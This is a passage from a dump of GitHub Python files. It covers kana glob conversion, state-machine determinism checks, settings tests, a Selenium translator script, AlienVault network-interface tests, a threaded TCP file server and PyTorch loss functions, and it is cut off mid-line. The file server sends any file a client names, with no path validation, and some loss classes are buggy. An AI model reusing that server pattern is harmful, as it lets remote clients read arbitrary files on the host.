'ダ', 'ヂ', 'ヅ', 'デ', 'ド',\n 'バ', 'ビ', 'ブ', 'ベ', 'ボ',\n 'ぱ', 'ぴ', 'ぷ', 'ぺ', 'ぽ',\n 'パ', 'ピ', 'プ', 'ペ', 'ポ',\n ],\n # after dict\n 'af': [\n 'が', 'ぎ', 'ぐ', 'げ', 'ご',\n 'ざ', 'じ', 'ず', 'ぜ', 'ぞ',\n 'だ', 'ぢ', 'づ', 'で', 'ど',\n 'ば', 'び', 'ぶ', 'べ', 'ぼ',\n 'ガ', 'ギ', 'グ', 'ゲ', 'ゴ',\n 'ザ', 'ジ', 'ズ', 'ゼ', 'ゾ',\n 'ダ', 'ヂ', 'ヅ', 'デ', 'ド',\n 'バ', 'ビ', 'ブ', 'ベ', 'ボ',\n 'ぱ', 'ぴ', 'ぷ', 'ぺ', 'ぽ',\n 'パ', 'ピ', 'プ', 'ペ', 'ポ',\n ],\n }\n\n # loop num\n LOOP = 0\n\n def __init__(self) -> None:\n try:\n # map validate\n if len(self.CONVERTER_MAP['af']) == len(self.CONVERTER_MAP['bf']):\n self.LOOP = len(self.CONVERTER_MAP['af'])\n else:\n raise Exception('converter map num is different between bf and af')\n except Exception:\n raise\n\n def glob(self, pathname: str) -> list:\n \"\"\"\n glob exec\n :param pathname:\n :param recursive:\n :return:\n \"\"\"\n # convert for multi byte\n pathname = self.__convert_multi_byte(pathname)\n\n return glob.glob(pathname)\n\n def convert(self, target: str) -> str:\n \"\"\"\n convert only\n :param target:\n :return:\n \"\"\"\n return self.__convert_multi_byte(target)\n\n def __convert_multi_byte(self, target: str) -> str:\n \"\"\"\n target string convert for multi byte\n :param target:\n :return:\n \"\"\"\n res = target\n for i in range(self.LOOP):\n # exec replace\n res = res.replace(self.CONVERTER_MAP['bf'][i], self.CONVERTER_MAP['af'][i])\n\n return res\n","repo_name":"nabeen/mbglob","sub_path":"mbglob/MbGlob.py","file_name":"MbGlob.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24444175531","text":"from enum import Enum\n\nimport settings\nfrom smt_functions import to_smt_format_string, z3_opr_check\n\n\ndef print_decision_groups(tree, d=1):\n \"\"\"Print the decision hierarchy with tab indents\"\"\"\n if tree.__class__.__name__ == \"Transition\":\n print(\"%s- %s\" % (\"\\t\" * d, tree))\n else:\n choice_type, members = tree\n print(\"%s- %s\" % (\"\\t\" * d, choice_type))\n for t in sorted(members, key=lambda v: v.__class__.__name__ != \"Transition\"):\n print_decision_groups(t, d + 1)\n\n\ndef print_determinism_report(state, sm, transitions, trivially_satisfiable, trivially_unsatisfiable):\n \"\"\"Print a formatted report of the decision structure for the given state\"\"\"\n print(\"#\" * 120)\n print(\"State Machine:\", sm.name)\n print(\"State:\", state)\n print()\n report_trivially_satisfiable = [\n t for t in trivially_satisfiable if t.guard_expression.smt is not True\n ]\n if len(report_trivially_satisfiable) > 0:\n print(\"WARNING: The following transition guards hold vacuously TRUE:\")\n for t in report_trivially_satisfiable:\n print(\"\\t- %s\" % t)\n print()\n if len([t for t in trivially_unsatisfiable]) > 0:\n print(\"WARNING: The following transition guards are always FALSE:\")\n for t in [t for t in trivially_unsatisfiable]:\n print(\"\\t- %s\" % t)\n print()\n print(\"Transitions:\")\n for t in transitions:\n print(\"\\t- %s\" % t)\n print()\n print(\"Decisions:\")\n print_decision_groups(sm.groupings[state])\n print(\"#\" * 120)\n print()\n\n\nclass Decision(Enum):\n \"\"\"A simple enum that denotes whether a decision is made deterministically or non-deterministically\"\"\"\n DET = 0\n N_DET = 1\n\n def __repr__(self):\n return self.__str__()\n\n\ndef dissect_overlapping_transition_chain(transitions, variables, truth_matrices):\n \"\"\"Dissect a list of transitions with a non-interrupted chain of overlap\"\"\"\n # Example input: # Not allowed:\n # x ------- -------- # x -------\n # y -------- # y -------\n\n # Find the variables that are used in the transitions and group based on the chosen variables.\n variables_to_transitions = {}\n for t in transitions:\n _, used_variables = to_smt_format_string(t.guard_expression.smt)\n variables_to_transitions.setdefault(frozenset(used_variables.keys()), []).append(t)\n\n # Check if the groups can be split up more.\n groupings = [find_deterministic_groups(v, variables, truth_matrices) for v in variables_to_transitions.values()]\n\n # The split needs to be resolved non-deterministically.\n return Decision.N_DET, groupings\n\n\ndef group_overlapping_transitions(transitions, variables, and_truth_matrix):\n \"\"\"Divide the transitions into groups, based on the equality measure\"\"\"\n # Transitions are in the same group if they have an equality relation with one another.\n groupings = []\n\n processed_transitions = set()\n queue = set()\n for t in transitions:\n if t not in processed_transitions:\n # Find all transitions that have an equality relation with this _t.\n queue.update([t2 for t2 in transitions if and_truth_matrix[t][t2]])\n\n current_group_transitions = []\n\n while len(queue) > 0:\n t2 = queue.pop()\n\n if t2 not in processed_transitions:\n # Add the transition to the current group.\n current_group_transitions += [t2]\n\n # Find all transitions that are related to _t.\n queue.update([t3 for t3 in transitions if and_truth_matrix[t2][t3]])\n\n # We do not want to visit the queue head again.\n processed_transitions.add(t2)\n\n # Can the found list of groupings be dissected further?\n sub_groupings = dissect_overlapping_transition_chain(current_group_transitions, variables, and_truth_matrix)\n\n # Add the group to the list of groupings.\n groupings += [sub_groupings]\n\n # The result is always deterministic.\n return Decision.DET, groupings\n\n\ndef find_deterministic_groups(transitions, _vars, and_truth_matrix):\n \"\"\"Find groups that are deterministic in regards to one another\"\"\"\n # Check whether we have a list of transitions to dissect.\n if len(transitions) == 1:\n return transitions[0]\n\n # Do any of the transitions always possibly overlap with the others transitions?\n # Keep in mind that the truth table has all transitions--only select those that we are examining.\n invariably_overlapping_transitions = [\n t for t in transitions if all(\n and_truth_matrix[t][t2] for t2 in transitions\n )\n ]\n\n # Find the transitions that are not invariably active.\n remaining_transitions = [t for t in transitions if t not in invariably_overlapping_transitions]\n\n # Recursively solve for the non invariably overlapping transitions.\n if len(remaining_transitions) > 0:\n remaining_groupings = [group_overlapping_transitions(remaining_transitions, _vars, and_truth_matrix)]\n else:\n remaining_groupings = []\n\n # The resulting sub-grouping is to be processed in parallel with the invariably active transitions.\n choices = invariably_overlapping_transitions + remaining_groupings\n return Decision.N_DET, choices\n\n\ndef format_decision_group_tree(tree):\n \"\"\"Compress the decision group tree such that the decision type alternates per level.\n Moreover, all transitions with guards should be part of a deterministic group\"\"\"\n if tree.__class__.__name__ == \"Transition\":\n # A transition should always be wrapped by a deterministic choice, unless trivially satisfiable.\n if tree.is_trivially_satisfiable:\n return tree\n else:\n return Decision.DET, [tree]\n else:\n choice_type, members = tree\n compressed_members = []\n for m in members:\n m = format_decision_group_tree(m)\n\n if m.__class__.__name__ == \"Transition\":\n compressed_members.append(m)\n else:\n if m[0] != choice_type:\n compressed_members.append(m)\n else:\n compressed_members.extend(m[1])\n\n if len(compressed_members) == 1:\n return compressed_members[0]\n else:\n return choice_type, compressed_members\n\n\ndef calculate_and_truth_matrix(transitions, variables):\n \"\"\"Calculate the truth matrices for the transitions\"\"\"\n truth_matrix = {}\n for t in transitions:\n truth_matrix[t] = {}\n for t2 in transitions:\n truth_evaluation = z3_opr_check(\"and\", t.guard_expression.smt, t2.guard_expression.smt, variables, False)\n truth_matrix[t][t2] = truth_evaluation\n if t == t2:\n break\n truth_matrix[t2][t] = truth_evaluation\n return truth_matrix\n\n\ndef add_determinism_annotations(model):\n \"\"\"Observe the transitions in the model and determine which can be done deterministically\"\"\"\n for c in model.classes:\n for sm in c.statemachines:\n sm.groupings = {s: None for s in sm.adjacency_list.keys()}\n\n for state, transitions in sm.adjacency_list.items():\n variables = {**c.name_to_variable, **sm.name_to_variable}\n\n if len(transitions) > 0:\n # Are there transitions that are trivially (un)satisfiable?\n trivially_satisfiable = [t for t in transitions if t.is_trivially_satisfiable]\n trivially_unsatisfiable = [t for t in transitions if t.is_trivially_unsatisfiable]\n\n # All transitions may be unsatisfiable and as such, the choices array can be empty.\n if len(trivially_unsatisfiable) == len(transitions):\n continue\n\n # Find the transitions that remain.\n solved_transitions = trivially_satisfiable + trivially_unsatisfiable\n remaining_transitions = [t for t in transitions if t not in solved_transitions]\n\n # Create the truth matrices for the AND, XOR and implication operators.\n and_truth_matrix = calculate_and_truth_matrix(remaining_transitions, variables)\n choices = list(trivially_satisfiable)\n if len(remaining_transitions) > 0:\n choices += [find_deterministic_groups(remaining_transitions, variables, and_truth_matrix)]\n\n # If no transitions are trivially satisfiable, we do not need a N_DET wrapper.\n groupings = (Decision.N_DET, choices) if len(choices) > 1 else choices[0]\n sm.groupings[state] = format_decision_group_tree(groupings)\n\n if settings.print_decision_report:\n print_determinism_report(state, sm, transitions, trivially_satisfiable, trivially_unsatisfiable)\n return model\n","repo_name":"melroy999/2IMP00-Experimentation","sub_path":"SLCOtoJAVA2.0_det/python-textx-jinja2/determinism_annotations.py","file_name":"determinism_annotations.py","file_ext":"py","file_size_in_byte":9067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42308801948","text":"import unittest\nfrom unittest.mock import patch\n\nfrom uiplib import settings\n\n\nclass SettingsTest(unittest.TestCase):\n\n def setUp(self):\n with patch('sys.argv', new=['UIP']):\n self.parseSettings = settings.ParseSettings()\n\n def test_get_settings_from_cli(self):\n\n # No of images and offline should not be mixed\n args = ['UIP', '--no-of-images', '20', '--offline']\n with patch('sys.argv', new=args):\n settings = self.parseSettings.get_settings_from_cli()\n self.assertIsNotNone(settings['error'])\n\n # Test no-of-images\n args = ['UIP', '--no-of-images', '20']\n with patch('sys.argv', new=args):\n settings = self.parseSettings.get_settings_from_cli()\n self.assertEqual(settings['no-of-images'], '20')\n\n # Test service\n args = ['UIP', '--service', 'stop']\n with patch('sys.argv', new=args):\n settings = self.parseSettings.get_settings_from_cli()\n self.assertEqual(settings['service'], 'stop')\n\n # Test offline and flush together\n args = ['UIP', '--offline', '--flush']\n with patch('sys.argv', new=args):\n settings = self.parseSettings.get_settings_from_cli()\n self.assertEqual(settings['offline'], True)\n self.assertEqual(settings['flush'], True)\n\n # Test invalid option\n with self.assertRaises(SystemExit):\n args = ['UIP', '--something']\n with patch('sys.argv', new=args):\n settings = self.parseSettings.get_settings_from_cli()\n","repo_name":"NITDgpOS/UIP","sub_path":"tests/test_settings.py","file_name":"test_settings.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"18"} +{"seq_id":"29260432236","text":"from concurrent.futures import ThreadPoolExecutor\nfrom genericpath import isfile\nfrom threading import Lock\nimport socket\nimport time\nimport os\n\n# Header to send how long the message is\nHEADER = 1200\n# set port\nPORT = 5454\n# get host IP address of server\nSERVER = socket.gethostbyname(socket.gethostname())\nADDR = (SERVER, PORT)\nFORMAT = 'utf-8' \nREQUESTNO = 0\nREQUESTSUCCESS = 0\n\n\n# this function handles using the lock and keeping track of the amount of total and successful requests\ndef count_request(bool, lock, conn):\n global REQUESTNO\n global REQUESTSUCCESS\n \n # make sure to acquire the lock since we'll be changing global variables\n lock.acquire()\n REQUESTNO += 1\n if bool == True:\n REQUESTSUCCESS += 1\n requestAmount = \"Server handled {} requests, {} requests were successful\".format(REQUESTNO, REQUESTSUCCESS)\n print(requestAmount)\n conn.send(requestAmount.encode(FORMAT))\n # release the lock\n lock.release()\n return 0\n elif bool == False:\n requestAmount = \"Server handled {} requests, {} requests were successful\".format(REQUESTNO, REQUESTSUCCESS)\n conn.send(requestAmount.encode(FORMAT))\n # release the lock\n lock.release()\n return 0\n\n\ndef handle_client(conn, addr, lock):\n # set a boolean to keep track of the state of our connection\n connected = True\n global REQUESTNO\n global REQUESTSUCCESS\n \n # receive the filename\n filename = conn.recv(HEADER).decode(FORMAT)\n requestInfo = \"REQ <{}>: File {} requested from {}\".format(REQUESTNO,filename,addr) \n print(requestInfo)\n \n while connected:\n if os.path.isfile(filename):\n count_request(True, lock, conn)\n # open file\n f = open(filename, 'rb')\n # read file \n data = f.read(HEADER)\n \n while (data):\n conn.send(data)\n data = f.read(HEADER) \n print(f\"REQ <{REQUESTNO}>: File transfer complete\")\n f.close()\n connected = False\n else:\n # file was not found\n conn.send(f\"File {filename} [not] found at server.\".encode(FORMAT))\n count_request(False, lock, conn)\n print(f\"REQ <{REQUESTNO}>: [Not] Successful\")\n connected = False\n \n print(f\"REQ <{REQUESTNO}>: Total successful requests so far = {REQUESTSUCCESS}\")\n conn.close()\n \n\ndef start():\n # create a socket instance, specify IPv4 and TCP\n # TCP is needed because send files require acknoledgements \n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n # bind the address to the socket\n server.bind(ADDR) \n # setup to listen for connections\n server.listen()\n #create a lock. We need this since we use multithreading and are using global variables\n lock = Lock()\n with ThreadPoolExecutor(max_workers=10) as executer:\n while True:\n # create lock\n conn, addr = server.accept()\n # send off worker to handle client \n result = executer.submit(handle_client, conn, addr, lock)\n \n\nprint(\"[STARTING]... Server is Starting. Please Wait\")\nprint(SERVER)\n# start the server\nstart()","repo_name":"AdamCoyte/NetworkApp-Assignment1","sub_path":"myfileserver.py","file_name":"myfileserver.py","file_ext":"py","file_size_in_byte":3267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9772471849","text":"from selenium import webdriver\nimport time\n\n# 자동화된 크롬 창 실행\ndriver = webdriver.Chrome(\"../chromedriver\")\n\n# 파파고 웹 페이지 접속\npapago_url = \"https://papago.naver.com/\"\ndriver.get(papago_url)\n# 시간적 여유 3초\ntime.sleep(3)\n\nquestion = input(\"번역할 영단어 입력 : \")\n\n# 영단어 자동 입력\ndriver.find_element_by_css_selector(\"textarea#txtSource\").send_keys(question)\n# 해당 버튼 클릭\ndriver.find_element_by_css_selector(\"button#btnTranslate\").click()\ntime.sleep(1)\n# 번역 결과 text 저장, 출력\noutput = driver.find_element_by_css_selector(\"div#txtTarget\").text\nprint(\"번역 결과 :\", output)\n\n# 크롬 창 닫기\ndriver.close()","repo_name":"wonjongah/Bigdata","sub_path":"데이터 크롤링/chapter10. 동적 크롤링 2/dynamiccrawling.py","file_name":"dynamiccrawling.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9187525802","text":"import sys\nsys.stdin=open('bj1927.txt','r')\n\nimport heapq\nimport sys\ninput=sys.stdin.readline\nN=int(input())\nQ=[]\nfor i in range(N):\n n=int(input())\n if not n:print(heapq.heappop(Q) if Q else 0)\n else:heapq.heappush(Q,n)","repo_name":"choo0618/TIL","sub_path":"algoritm/20상반기 코딩테스트/최소 힙/bj1927.py","file_name":"bj1927.py","file_ext":"py","file_size_in_byte":229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74619526438","text":"from __future__ import print_function\nfrom nose import with_setup\nfrom nose.tools import raises\nimport unittest\nimport sys\nimport os\nimport random\nimport string\nimport difflib\nfrom shutil import copyfile\n\nfrom avconfig.ossimsetupconfig import AVOssimSetupConfigHandler\nfrom ansiblemethods.system.network import set_interfaces_roles, get_iface_list\n\nossim_setup = AVOssimSetupConfigHandler(\"/etc/ossim/ossim_setup.conf\")\nadmin_ip = ossim_setup.get_general_admin_ip()\n\nNET_IPS = {'eth1': \"172.17.2.50\", 'eth2': \"172.17.2.51\", 'eth3': \"172.17.2.52\", 'eth4': \"172.17.2.53\",\n 'eth5': \"172.17.2.54\"}\n\n\nclass TestNetworkSetInterfaces(unittest.TestCase):\n \"\"\"Class to test the set_interface_roles function\"\"\"\n\n @classmethod\n def setUpClass(cls):\n print(\"TestNetworkSetInterfaces::setup_class() before any methods in this class\")\n\n rc, net_current_status = get_iface_list(admin_ip)\n cls.net_current_status = net_current_status\n\n @classmethod\n def tearDownClass(cls):\n # print (\"TestNetworkSetInterfaces::tearDownClass() after any methods in this class\")\n request_dic = {}\n if not isinstance(cls.net_current_status, dict):\n print(\"Can't tear down the interfaces... net_current_status invalid\")\n return\n for eth, eth_data in cls.net_current_status.iteritems():\n role = eth_data['role']\n ipv4 = None\n netmask = None\n if eth == 'lo':\n continue\n # The admin interface can't be set\n if role is 'admin':\n continue\n if 'ipv4' in eth_data:\n if 'address' in eth_data['ipv4']:\n ipv4 = eth_data['ipv4']['address']\n if 'netmask' in eth_data['ipv4']:\n netmask = eth_data['ipv4']['netmask']\n request_dic[eth] = {'role': role, 'ipaddress': ipv4, 'netmask': netmask}\n rc, data = set_interfaces_roles(admin_ip, request_dic)\n if not rc:\n print(\"Something wrong happen while restoring your net configuration %s\" % data)\n\n def check_request_and_response(self, dic_request, dic_response):\n \"\"\"Check whether a request is the same as a response\n Response:\n {\n u'lo': {\n 'promisc': False,\n 'role': 'disabled',\n 'ipv4': {\n u'netmask': u'255.0.0.0',\n u'network': u'127.0.0.0',\n u'address': u'127.0.0.1'\n }\n },\n u'eth5': {\n 'promisc': False,\n 'role': 'disabled'\n },\n u'eth4': {\n 'promisc': False,\n 'role': 'disabled'\n },\n u'eth3': {\n 'promisc': False,\n 'role': 'disabled'\n },\n u'eth2': {\n 'promisc': False,\n 'role': 'disabled'\n },\n u'eth1': {\n 'promisc': False,\n 'role': 'disabled'\n },\n u'eth0': {\n 'promisc': True,\n 'role': 'admin',\n 'ipv4': {\n u'netmask': u'255.255.255.0',\n u'network': u'172.17.2.0',\n u'address': u'172.17.2.6'\n }\n }\n }\n Request:\n\n roles = {'eth1':{'role':'log_management', 'ipaddress':NET_IPS['eth1'],'netmask':'255.255.255.0'},\n 'eth2':{'role':'log_management', 'ipaddress':NET_IPS['eth2'],'netmask':'255.255.255.0'},\n 'eth3':{'role':'monitoring', 'ipaddress':NET_IPS['eth3'],'netmask':'255.255.255.0'},\n 'eth4':{'role':'monitoring', 'ipaddress':NET_IPS['eth4'],'netmask':'255.255.255.0'},\n 'eth5':{'role':'monitoring', 'ipaddress':NET_IPS['eth5'],'netmask':'255.255.255.0'}}\n \"\"\"\n print(\"=\" * 100)\n for eth, eth_data in dic_request.iteritems():\n if eth not in dic_response:\n return False\n if eth_data['role'] != dic_response[eth]['role']:\n return False\n if eth_data['role'] == 'log_management':\n if not 'ipv4' in dic_response[eth]:\n return False\n if not 'address' in dic_response[eth]['ipv4']:\n return False\n if not 'netmask' in dic_response[eth]['ipv4']:\n return False\n if eth_data['ipaddress'] != dic_response[eth]['ipv4']['address']:\n return False\n if eth_data['netmask'] != dic_response[eth]['ipv4']['netmask']:\n return False\n return True\n\n def test_0001(self):\n \"\"\"Test 0001: empty params\"\"\"\n print('TestNetworkSetInterfaces:: test_empty_input_params()')\n # Empty args\n system_ip = \"\"\n roles = \"\"\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertFalse(rc)\n\n def test_0002(self):\n \"\"\"Test 0002: empty role \"\"\"\n print('TestNetworkSetInterfaces:: test_empty_roles_param()')\n # Roles empty string\n system_ip = admin_ip\n roles = \"\"\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertFalse(rc)\n\n # Empty roles\n roles = {}\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertFalse(rc)\n\n def test_0003(self):\n \"\"\"Test 0003: Set Admin interface\"\"\"\n print('TestNetworkSetInterfaces:: test_set_admin_iface()')\n system_ip = admin_ip\n # Try to set the admin interface (It's not allowed)\n roles = {'eth0': {'role': 'admin', 'ipaddress': '172.17.2.6', 'netmask': '255.255.255.0'}}\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertFalse(rc)\n\n def test_0004(self):\n \"\"\"Test 0004: set more than one admin iface\"\"\"\n print('TestNetworkSetInterfaces:: test_more_than_one_admin_iface()')\n system_ip = admin_ip\n # Try to set more than one admin interface\n roles = {'eth1': {'role': 'admin', 'ipaddress': '172.17.2.6', 'netmask': '255.255.255.0'}}\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertFalse(rc)\n\n def test_0005(self):\n \"\"\"Test 0005: what happens when a non existing interface is given to the method\"\"\"\n print('TestNetworkSetInterfaces:: test_non_existing_iface()')\n system_ip = admin_ip\n roles = {'ethxx1111': {'role': 'monitoring'}}\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertFalse(rc)\n\n def test_0006(self):\n \"\"\"Test 0006: Invalid Role\"\"\"\n print('TestNetworkSetInterfaces:: test_invalid_role()')\n system_ip = admin_ip\n roles = {'eth1': {'role': 'invalid_role'}}\n rc, data = set_interfaces_roles(system_ip, roles)\n print(data)\n self.assertFalse(rc)\n\n def test_0007(self):\n \"\"\"Test 0007: admin interface\"\"\"\n print('TestNetworkSetInterfaces:: test_disable_admin_interface()')\n system_ip = admin_ip\n roles = {'eth0': {'role': 'disabled', 'ipaddress': '192.168.2.2'}}\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertFalse(rc)\n\n def test_0008(self):\n \"\"\"Test 0008: disable eth1\"\"\"\n print('TestNetworkSetInterfaces:: test_disable_interface()')\n system_ip = admin_ip\n roles = {'eth1': {'role': 'disabled', 'ipaddress': '192.168.2.2'}}\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertTrue(rc)\n\n def test_0009(self):\n \"\"\"Test 0009: disable all nics except the management one\"\"\"\n print('TestNetworkSetInterfaces:: test_disable_all_nics()')\n system_ip = admin_ip\n roles = {\n 'eth1': {'role': 'disabled'},\n 'eth2': {'role': 'disabled'},\n 'eth3': {'role': 'disabled'},\n 'eth4': {'role': 'disabled'},\n 'eth5': {'role': 'disabled'},\n }\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertTrue(rc)\n\n def test_0010(self):\n \"\"\"Test 0010: set log management\"\"\"\n print('TestNetworkSetInterfaces:: test_set_log_management_without_ip_and_netmask()')\n system_ip = admin_ip\n roles = {'eth1': {'role': 'log_management', 'ipaddress': None}}\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertTrue(rc)\n self.assertTrue('eth1' in data)\n eth_rc, msg = data['eth1']\n self.assertFalse(eth_rc)\n\n roles = {'eth1': {'role': 'log_management', 'ipaddress': \"172.17.2.9\", \"netmaks\": None}}\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertTrue(rc)\n self.assertTrue('eth1' in data)\n eth_rc, msg = data['eth1']\n self.assertFalse(eth_rc)\n\n def test_0011(self):\n \"\"\"Test 0011: more than one interface with the same \"\"\"\n print('TestNetworkSetInterfaces:: test_more_than_one_interface_with_the_same_ip()')\n system_ip = admin_ip\n roles = {'eth1': {'role': 'log_management', 'ipaddress': admin_ip, 'netmask': '255.255.255.0'},\n 'eth2': {'role': 'log_management', 'ipaddress': admin_ip, 'netmask': '255.255.255.0'}}\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertFalse(rc)\n\n def test_0012(self):\n \"\"\"Test 0012: valid configuration \"\"\"\n print('TestNetworkSetInterfaces:: test_valid_config()')\n system_ip = admin_ip\n roles = {'eth1': {'role': 'log_management', 'ipaddress': NET_IPS['eth1'], 'netmask': '255.255.255.0'},\n 'eth2': {'role': 'log_management', 'ipaddress': NET_IPS['eth2'], 'netmask': '255.255.255.0'},\n 'eth3': {'role': 'monitoring', 'ipaddress': NET_IPS['eth3'], 'netmask': '255.255.255.0'},\n 'eth4': {'role': 'monitoring', 'ipaddress': NET_IPS['eth4'], 'netmask': '255.255.255.0'},\n 'eth5': {'role': 'monitoring', 'ipaddress': NET_IPS['eth5'], 'netmask': '255.255.255.0'}}\n rc, data = set_interfaces_roles(system_ip, roles)\n self.assertTrue(rc)\n rc, data = get_iface_list(admin_ip)\n self.assertTrue(rc)\n self.assertTrue(self.check_request_and_response(roles, data))\n","repo_name":"jpalanco/alienvault-ossim","sub_path":"alienvault-api/alienvault-api-core/tests/test_lib/test_ansiblemethods/test_system/test_network.py","file_name":"test_network.py","file_ext":"py","file_size_in_byte":10190,"program_lang":"python","lang":"en","doc_type":"code","stars":114,"dataset":"github-code","pt":"18"} +{"seq_id":"34620773791","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torch.nn.functional import cross_entropy\nfrom torch.nn.modules.loss import _WeightedLoss\n\n\n\nEPSILON = 1e-32\n\n\nclass LogNLLLoss(_WeightedLoss):\n __constants__ = ['weight', 'reduction', 'ignore_index']\n\n def __init__(self, weight=None, size_average=None, reduce=None, reduction=None,\n ignore_index=-100):\n super(LogNLLLoss, self).__init__(weight, size_average, reduce, reduction)\n self.ignore_index = ignore_index\n\n def forward(self, y_input, y_target):\n # y_input = torch.log(y_input + EPSILON)\n # print(\"####\")\n # print(y_input.shape)\n # print(y_target.shape)\n # print(\"####\")\n return cross_entropy(y_input, y_target, weight=self.weight,\n ignore_index=self.ignore_index)\n\n\nclass SoftDiceLoss(nn.Module):\n def __init__(self, weight=None, size_average=True):\n super(SoftDiceLoss, self).__init__()\n\n def forward(self, logits, targets):\n num = targets.size(0)\n smooth = 1\n\n probs = F.sigmoid(logits)\n m1 = probs.view(num, -1)\n m2 = targets.view(num, -1)\n intersection = (m1 * m2)\n\n score = 2. * (intersection.sum(1) + smooth) / (m1.sum(1) + m2.sum(1) + smooth)\n score = 1 - score.sum() / num\n return score\n\n\nclass DiceLoss(nn.Module):\n def __init__(self):\n super(DiceLoss, self).__init__()\n self.epsilon = 1e-5\n\n def forward(self, predict, target):\n # assert predict.size() == target.size(), \"the size of predict and target must be equal.\"\n num = predict.size(0)\n # print(num)\n predict = torch.sigmoid(predict)\n # print(predict.shape)\n target = torch.unsqueeze(target,1)\n result = predict*target\n result2 = predict+target\n # pre = torch.sigmoid(predict).view(num, -1)\n # tar = target.view(num, -1) # -1就是让电脑帮忙计算维度\n # print(predict.shape)\n # # print(predict)\n # print(target.shape)\n # print(pre.shape)\n # print(tar.shape)\n # # res = torch.mul(pre, tar).sum(-1).sum()\n result = result.view(num,-1)\n intersection = (result).sum(-1).sum() # 利用预测值与标签相乘当作交集\n\n union = (result2).sum(-1).sum()\n print(self.epsilon)\n print(intersection)\n print(union)\n score = 1 - 2 * (intersection + self.epsilon) / (union + self.epsilon)\n\n return score\nclass Focal_Loss(nn.Module):\n r\"\"\"\n This criterion is a implemenation of Focal Loss, which is proposed in\n Focal Loss for Dense Object Detection.\n\n Loss(x, class) = - \\alpha (1-softmax(x)[class])^gamma \\log(softmax(x)[class])\n\n The losses are averaged across observations for each minibatch.\n\n Args:\n alpha(1D Tensor, Variable) : the scalar factor for this criterion\n gamma(float, double) : gamma > 0; reduces the relative loss for well-classified examples (p > .5),\n putting more focus on hard, misclassified examples\n size_average(bool): By default, the losses are averaged over observations for each minibatch.\n However, if the field size_average is set to False, the losses are\n instead summed for each minibatch.\n\n\n \"\"\"\n def __init__(self, class_num, alpha=None, gamma=2, size_average=True):\n super(FocalLoss, self).__init__()\n if alpha is None:\n self.alpha = Variable(torch.ones(class_num, 1))\n else:\n if isinstance(alpha, Variable):\n self.alpha = alpha\n else:\n self.alpha = Variable(alpha)\n self.gamma = gamma\n self.class_num = class_num\n self.size_average = size_average\n\n def forward(self, inputs, targets):\n N = inputs.size(0)\n C = inputs.size(1)\n P = F.softmax(inputs)\n\n class_mask = inputs.data.new(N, C).fill_(0)\n class_mask = Variable(class_mask)\n ids = targets.view(-1, 1)\n class_mask.scatter_(1, ids.data, 1.)\n #print(class_mask)\n\n\n if inputs.is_cuda and not self.alpha.is_cuda:\n self.alpha = self.alpha.cuda()\n alpha = self.alpha[ids.data.view(-1)]\n\n probs = (P*class_mask).sum(1).view(-1,1)\n\n log_p = probs.log()\n #print('probs size= {}'.format(probs.size()))\n #print(probs)\n\n batch_loss = -alpha*(torch.pow((1-probs), self.gamma))*log_p\n #print('-----bacth_loss------')\n #print(batch_loss)\n\n\n if self.size_average:\n loss = batch_loss.mean()\n else:\n loss = batch_loss.sum()\n return loss\nclass focal_loss(nn.Module):\n def __init__(self, alpha=0.25, gamma=2, num_classes=5, size_average=True):\n\n super(focal_loss, self).__init__()\n self.size_average = size_average\n if isinstance(alpha, (float, int)): #仅仅设置第一类别的权重\n self.alpha = torch.zeros(num_classes)\n self.alpha[0] += alpha\n self.alpha[1:] += (1 - alpha)\n if isinstance(alpha, list): #全部权重自己设置\n self.alpha = torch.Tensor(alpha)\n self.gamma = gamma\n\n\n def forward(self, inputs, targets):\n alpha = self.alpha\n print('aaaaaaa',alpha)\n N = inputs.size(0)\n C = inputs.size(1)\n P = F.softmax(inputs,dim=1)\n print('ppppppppppppppppppppp', P)\n # ---------one hot start--------------#\n class_mask = inputs.data.new(N, C).fill_(0) # 生成和input一样shape的tensor\n print('依照input shape制作:class_mask\\n', class_mask)\n class_mask = class_mask.requires_grad_() # 需要更新, 所以加入梯度计算\n ids = targets.view(-1, 1) # 取得目标的索引\n print('取得targets的索引\\n', ids)\n class_mask.data.scatter_(1, ids.data, 1.) # 利用scatter将索引丢给mask\n print('targets的one_hot形式\\n', class_mask) # one-hot target生成\n # ---------one hot end-------------------#\n probs = (P * class_mask).sum(1).view(-1, 1)\n print('留下targets的概率(1的部分),0的部分消除\\n', probs)\n # 将softmax * one_hot 格式,0的部分被消除 留下1的概率, shape = (5, 1), 5就是每个target的概率\n\n log_p = probs.log()\n print('取得对数\\n', log_p)\n # 取得对数\n loss = torch.pow((1 - probs), self.gamma) * log_p\n batch_loss = -alpha *loss.t() # 對應下面公式\n print('每一个batch的loss\\n', batch_loss)\n # batch_loss就是取每一个batch的loss值\n\n # 最终将每一个batch的loss加总后平均\n if self.size_average:\n loss = batch_loss.mean()\n else:\n loss = batch_loss.sum()\n print('loss值为\\n', loss)\n return loss\n\n\nclass FocalLoss(nn.Module):\n def __init__(self, alpha=0.25, gamma=2, size_average=True):\n super(FocalLoss, self).__init__()\n self.alpha = torch.tensor(alpha).cuda()\n self.gamma = gamma\n self.size_average = 